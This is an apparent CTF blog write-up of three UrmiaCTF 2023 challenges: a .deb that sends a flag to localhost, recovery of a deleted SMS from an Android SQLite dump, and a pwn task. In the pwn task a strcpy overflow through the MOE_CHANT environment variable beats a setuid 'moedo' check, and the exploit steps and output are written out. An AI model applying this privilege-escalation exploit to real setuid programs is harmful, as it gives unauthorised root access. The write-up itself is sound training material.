Post

UrmiaCTF 2023

steganography/Deb File | The old Systems

The Challenge

1
2
3
Can you believe it? people still use linux? after the emerge of Evil E computers, nobody bothered to use linux systems. anyways, we got this file from database gaurds' pc, can you help us?

Attachment : uctfdeb-0.0.1.deb

The Solution

We are given a Debian Binary Package file, so I went straight to install it via dpkg.

Never do this with a random binary from the internet

1
$ sudo dpkg -i uctfdeb-0.0.1.deb

and then ran uctf:

1
2
$ uctf
curl: (7) Failed to connect to 127.0.0.1 port 7327 after 0 ms: Couldn't connect to server

The application was trying to connect to 127.0.0.1 on port 7327 most likely to communicate something ( my guess was : it’s sending the flag ). So I opened a netcat receiver session in a new window and ran uctf again:

1
2
3
4
5
6
7
8
$ nc -nvlp 7327
listening on [any] 7327 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37996
GET / HTTP/1.1
Host: 127.0.0.1:7327
User-Agent: curl/7.88.1
Accept: */*
flag: UCTF{c4n_p3n6u1n5_5urv1v3_1n_54l7_w473r}

FLAG

UCTF{c4n_p3n6u1n5_5urv1v3_1n_54l7_w473r}

forensics/Deleted Message

The Challenge

1
2
3
Cyber Police have seized a computer containing illegal content, but the data stored is secured with a password. A member of the criminal organization owning the computer was arrested. Police suspect that the password was sent to the criminal via SMS, but the message was deleted right before the arrest. You’re given a dump of the data partition of the phone (running Android 6.0). Your job as the forensic specialist is to recover the deleted password.

Attachment : data.tar.gz

The Solution

I downloaded the data.tar.gz file and extracted it.

Then I went into data/com.android.messaging/ because that’s the place where the deleted SMS might be stored ( “Police suspect that the password was sent to the criminal via SMS” ). It had the following directories:

1
2
$ ls                            
app_webview  cache  code_cache  databases  shared_prefs

I thought since message is deleted it might still be in cache but sadly it was empty. So naturally I explored the databases directory. It had the following files:

1
2
3
$ files *
bugle_db:         SQLite 3.x database, user version 1, last written using SQLite version 3008010, file counter 16, database pages 20, cookie 0x12, schema 4, largest root page 18, UTF-8, version-valid-for 16
bugle_db-journal: data

Then I opened the SQL database and viewed all the tables manually:

1
2
3
4
5
6
7
8
9
$ sqlite3 bugle_db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
android_metadata               draft_parts_view             
conversation_image_parts_view  messages                     
conversation_list_view         participants                 
conversation_participants      parts                        
conversations

Most of them were empty, but the one in which we are interested is parts:

1
2
3
4
5
6
sqlite> .mode column
sqlite> .header on
sqlite> SELECT * FROM parts;
_id  message_id  text                 uri  content_type  width  height  timestamp      conversation_id
---  ----------  -------------------  ---  ------------  -----  ------  -------------  ---------------
1    1           uctf{l057_1n_urm14}       text/plain    -1     -1      1691777451164  1

and that’s how I got the flag

FLAG

uctf{l057_1n_urm14}

pwn/moedo

The Challenge

1
2
3
4
5
6
We've created a moe alternative to sudo called moedo.
If you can bypass its moe secuirty you'll be awarded with the flag!

telnet moe.uctf.ir 7002
Username: mashiro
Password: Qh3VRn@23jv43Q

moedo source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
##include <stdio.h>
##include <stdlib.h>
##include <string.h>
##include <unistd.h>
##include <grp.h>

##define MOE_ENOUGH 0x30e

int check_moe(int uid)
{
    struct group *moe_group = getgrnam("moe");
    int moeness = 0;

    int ngroups;
    gid_t *groups;

    if (moe_group == NULL)
        return 0;

    ngroups = getgroups(0, NULL);
    groups = malloc(ngroups * sizeof(*groups));
    getgroups(ngroups, groups);
    for (int i = 0; i < ngroups; i++)
    {
        if (groups[i] == moe_group->gr_gid)
        {
            moeness = MOE_ENOUGH;
            break;
        }
    }

    free(groups);
    return moeness;
}

int main(int argc, char *argv[])
{
    uid_t uid = getuid();
    uid_t gid = getgid();
    int moeness = check_moe(uid);

    char *custom_chant = getenv("MOE_CHANT");
    char chant[] = "Moe Moe Kyun!";

    if (argc < 2)
    {
        fputs("Missing command\n", stderr);
        return 1;
    }

    if (custom_chant)
        strcpy(chant, custom_chant);

    printf("UID: %u - GID: %u - Moe: %x\n", uid, gid, moeness);

    if (moeness != MOE_ENOUGH)
    {
        fputs("You're not moe enough!\n", stderr);
        return 1;
    }

    if (setuid(0) != 0)
    {
        perror("setuid() failed");
        return 1;
    }
    if (setgid(0) != 0)
    {
        perror("setgid() failed");
        return 1;
    }

    puts(chant);

    if (execvp(argv[1], &argv[1]) != 0)
    {
        perror("execv() failed");
        return 1;
    }

    return 0;
}

The Solution

We are given a sandboxed Alpine linux to connect to via telnet. We also have credentials for a mashiro user.

After logging in, it tells us that the flag is located at /root/flag and our task simple, read it.

Obviously something like cat /root/flag doesn’t work because we don’t have the permission to do so. And sudo doesn’t exist here, in fact the challenge tells us that they have developed an alternative called moedo.

So if we try using moedo:

1
2
3
4
moehost:~$ moedo "cat /root/flag"
UID: 1001 - GID: 1001 - Moe: 0
You're not moe enough!
moehost:~$

Hmm…maybe its time to view the source code which they provided:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    if (moeness != MOE_ENOUGH)
    {
        fputs("You're not moe enough!\n", stderr);
        return 1;
    }

    if (setuid(0) != 0)
    {
        perror("setuid() failed");
        return 1;
    }
    if (setgid(0) != 0)
    {
        perror("setgid() failed");
        return 1;
    }

    puts(chant);

    if (execvp(argv[1], &argv[1]) != 0)
    {
        perror("execv() failed");
        return 1;
    }

This precisely tells us that our cat command will be executed with elevated privileges if we can bypass the moeness != MOE_ENOUGH if-statement.

MOE_ENOUGH is explicitly defined as 0x30e. And our moeness variable is calculated via the check_moe() function. The function itself doesn’t seem to have any noticable vulnerabilities ( at least for me ). So I looked at the main function has found the bug:

1
2
if (custom_chant)
 strcpy(chant, custom_chant)

The classic strcpy vulnerability which allows us to overflow local variables in the main() method. I then generated cyclic pattern using MsF for 100 bytes:

1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

since 100 bytes are sure to overflow the simple chant[] buffer:

1
char chant[] = "Moe Moe Kyun!";

Then I set those bytes as MOE_CHANT env variable and run the program:

1
2
3
4
5
6
moehost:~$ export MOE_CHANT="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
moehost:~$ moedo "cat /root/flag"
UID: 1648439650 - GID: 1093689921 - Moe: 39614138
You're not moe enough!
Segmentation fault
moehost:~$ 

Here we see a seg fault, which is a good sign. But also the content in the moeness variable = 39614138. This can be used to calculate the offset for overflowing this variable:

1
2
3
$ msf-pattern_offset -q 39614138                                                                                    
[*] Exact match at offset 26
$ 

To test it, we will set MOE_CHANT env variable as "A" * 26 + "BCDE and run the program:

1
2
3
4
5
moehost:~$ export MOE_CHANT="AAAAAAAAAAAAAAAAAAAAAAAAAABCDE"
moehost:~$ moedo "cat /root/flag"
UID: 1001 - GID: 768 - Moe: 45444342
You're not moe enough!
moehost:~$

Great we can successfully control the moeness variable. Now let’s replace the BCDE in env variable as 0x30e ( in little endian format ) and try again:

1
2
3
4
5
6
moehost:~$ export MOE_CHANT="$(printf 'AAAAAAAAAAAAAAAAAAAAAAAAAA\xe\x03')"
moehost:~$ moedo cat /root/flag
UID: 1001 - GID: 1001 - Moe: 30e
AAAAAAAAAAAAAAAAAAAAAAAAAA
uctf{m45h1r0_d1dn7_61v3_up}
moehost:~$

BOOM! We got the flag

FLAG

uctf{m45h1r0_d1dn7_61v3_up}

This post is licensed under CC BY 4.0 by the author.